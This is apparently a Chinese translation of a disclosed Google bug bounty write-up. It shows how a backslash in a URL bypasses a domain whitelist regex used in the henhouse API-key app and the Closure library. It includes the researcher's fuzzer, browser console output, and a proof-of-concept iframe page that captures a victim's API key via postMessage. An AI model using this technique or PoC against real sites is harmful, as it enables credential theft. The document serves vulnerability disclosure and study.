tl;dr

作者本想绕过一个小小的网络应用程序的域检测,但没想到绕过了(几乎)所有Google产品中使用的URL解析器。

发现过程

作者浏览Gmail API文档时,发现了一个按钮,按下按钮,就会生成一个Gmail API密钥:

这时候作者想到,是不是可以通过使受害者单击链接来执行谷歌云控制台操作。
弹出的这个应用程序叫henhouse,GMmail API文档将henhouse应用程序嵌入IFrame。这是在iFrame中加载的URL:

https://console.developers.google.com/henhouse/?pb=["hh-0","gmail",null,[],"https://developers.google.com",null,[],null,"Create API key",0,null,[],false,false,null,null,null,null,false,null,false,false,null,null,null,null,null,"Quickstart",true,"Quickstart",null,null,false]

url中的pb[4]是https://developers.google.com,作者发现父级和子级IFrame之间存在某种通信,例如用户可以单击Done按钮关闭henhouse窗口并返回文档。经过一些测试,作者确认henhouse应用程序将postMessages发送到父域(更准确地说,发送到pb[4]中指定的域)。如果生成了API密钥/OAuth客户端ID,它也会在postMessage中发回给父域。

至此,作者已经脑补了整个攻击场景。作者将henhouse嵌入到自己的恶意网站上,然后监听postMessage中的受害者API密钥。接下来作者必须要把自己的网站放到URL中。

但这个事情并不是手到擒来。
作者对javascript进行逆向,弄清楚白名单的原理。
经过对混淆的javascript进行处理后,白名单原理的大体伪代码在这里

// This is not real code..

var whitelistedWildcards = ['.corp.google.com', '.c.googlers.com'];
var whitelistedDomains = ['https://devsite.googleplex.com', 'https://developers.google.com',
                          'https://cloud-dot-devsite.googleplex.com', 'https://cloud.google.com'
                          'https://console.cloud.google.com', 'https://console.developers.google.com'];

var domainURL = URL.params.pb[4];
if (whitelistedDomains.includes(domainURL) || getAuthorityFromMagicRegex(domainURL).endsWith(whitelistedWildcards)) {
  postMessage("API KEY: " + apikey, domainURL);
}

绕过whitelistedDomains有点困难,但我们可以从whitelistedWildcards入手,它检查URL是否以.corp.google.com.c.googlers.com结尾。
getAuthorityFromMagicRegex函数

var getAuthorityFromRegex = function(domainURL) {
  var magicRegex = /^(?:([^:/?#.]+):)?(?:\/\/(?:([^/?#]*)@)?([^/#?]*?)(?::([0-9]+))?(?=[/#?]|$))?([^?#]+)?(?:\?([^#]*))?(?:#([\s\S]*))?$/;
  return magicRegex.match(domainURL)[3]
}

正则表达式有点复杂。magicRegex.Match(DomainURL)[3]中有什么?
让我们看看在JS控制台上正则表达式会返回什么:

"https://user:pass@test.corp.google.com:8080/path/to/something?param=value#hash".match(magicRegex);

Array(8) [ "https://user:pass@test.corp.google.com:8080/path/to/something?param=value#hash",
           "https", "user:pass", "test.corp.google.com", "8080", "/path/to/something", "param=value", "hash" ]

好的,所以magicRegex.Match(DomainURL)[3]是权限(域)。
作者将此正则表达式放在 www.debuggex.com 中。一个可视化网站,便于操作


这个权限域以 / ``?#结束,之后的任何内容都不再是域名。
但作者有个想法,是否存在这样一个字符,它在被浏览器解析时结束权限,被正则表达式解析时,不会失去权限。
通过生成以.corp.google.com结尾的内容进而绕过检查。

https://xdavidhu.me[MAGIC_CHARACTER]test.corp.google.com

因此,对于浏览器来说,权限是xdavidhu.me,但是对于正则表达式来说,权限就是全部内容,它以.corp.google.com结尾,因此允许发送API密钥postMessage。
作者写了一个JavaScript fuzzer来寻找个字符

var s = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~';

for (var i = 0; i < s.length; i++) {
  char = s.charAt(i);
  string = 'https://xdavidhu.me'+char+'.corp.google.com';
  try {
    const url = new URL(string);console.log("[+] " + string + " -> " + url.hostname);
  } catch {
    console.log("[!] " + string + " -> ERROR");
  }
}

结果

[+] https://xdavidhu.me/.corp.google.com -> xdavidhu.me
[+] https://xdavidhu.me?.corp.google.com -> xdavidhu.me
[+] https://xdavidhu.me#.corp.google.com -> xdavidhu.me
[+] https://xdavidhu.me\.corp.google.com -> xdavidhu.me

除了/?#,\也起到了同样的效果!
(Firefox,Chrome,Safari)都适用!
作者刨根问底,在源码中找到了原因

bool IsAuthorityTerminator(base::char16 ch) {
  return IsURLSlash(ch) || ch == '?' || ch == '#';
}

IsURLSlash函数:

inline bool IsURLSlash(base::char16 ch) {
  return ch == '/' || ch == '\\';
}

JS Console exploit

// Regex parsing
"https://user:pass@xdavidhu.me\\test.corp.google.com:8080/path/to/something?param=value#hash".match(magicRegex)

Array(8) [ "https://user:pass@xdavidhu.me\\test.corp.google.com:8080/path/to/something?param=value#hash",
           "https", "user:pass", "xdavidhu.me\\test.corp.google.com", "8080", "/path/to/something", "param=value", "hash" ]

// Browser parsing
new URL("https://user:pass@xdavidhu.me\\test.corp.google.com:8080/path/to/something?param=value#hash")

URL { href: "https://user:pass@xdavidhu.me/test.corp.google.com:8080/path/to/something?param=value#hash",
      origin: "https://xdavidhu.me", protocol: "https:", username: "user", password: "pass", host: "xdavidhu.me",
      hostname: "xdavidhu.me", port: "", pathname: "/test.corp.google.com:8080/path/to/something", search: "?param=value" }

POC

将PoC嵌入henhouse,并获取受害者的API密钥。

<iframe id="test" src='https://console.developers.google.com/henhouse/?pb=["hh-0","gmail",null,[],"https://xdavidhu.me\\test.corp.google.com",null,[],null,"Create API key",0,null,[],false,false,null,null,null,null,false,null,false,false,null,null,null,null,null,"Quickstart",true,"Quickstart",null,null,false]'></iframe>

<script>
window.addEventListener('message', function (d) {
  console.log(d.data);
  if(d.data[1] == "apikey-credential"){
    var h1 = document.createElement('h1');
    h1.innerHTML = "Your API key: " + d.data[2];
    document.body.appendChild(h1);
  }
});
</script>

https://www.youtube.com/embed/F4DhJDV5sDs
对于这个漏洞,等级可高可低,只能“窃取”API密钥或OAuth客户端ID。

进一步研究

作者想,这个复杂的正则表达式不可能只是专门为henhouse构造的。
作者开始在其他Google产品中抓取JS文件,发现这个正则表达式无处不在。Google Cloud Console、Google Actions Console的JS、 YouTube Studio、myaccount t.google.com(!),甚至在一些谷歌安卓应用程序中也有它的身影!
一天后,作者在谷歌公司(Google Corp)的登录页面(login.corp.google.com)上发现了

var goog$uri$utils$splitRe_ = [THE_MAGIC_REGEX],

在使用类似“end -with”逻辑进行域验证时,可以使用\字符绕过此正则表达式。
报告给google公司后,收到了这样的回复

几周后,作者在LiveOverFlow的XSS on Google Search’ video”视频中得到这样一条关键信息,“Google的JavaScript代码实际上是开源的!”
作者打开了Closure libary GitHub repo,并查看了提交

时间线

[2020年1月4日]:漏洞报告
[2020年1月6日]:初步分类
[2020年1月6日]:漏洞等级修正(P4-> P1)
[2020年1月17日]:赏金6000美元
[2020年3月6日]:修复漏洞

https://bugs.xdavidhu.me/google/2020/03/08/the-unexpected-google-wide-domain-check-bypass/

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖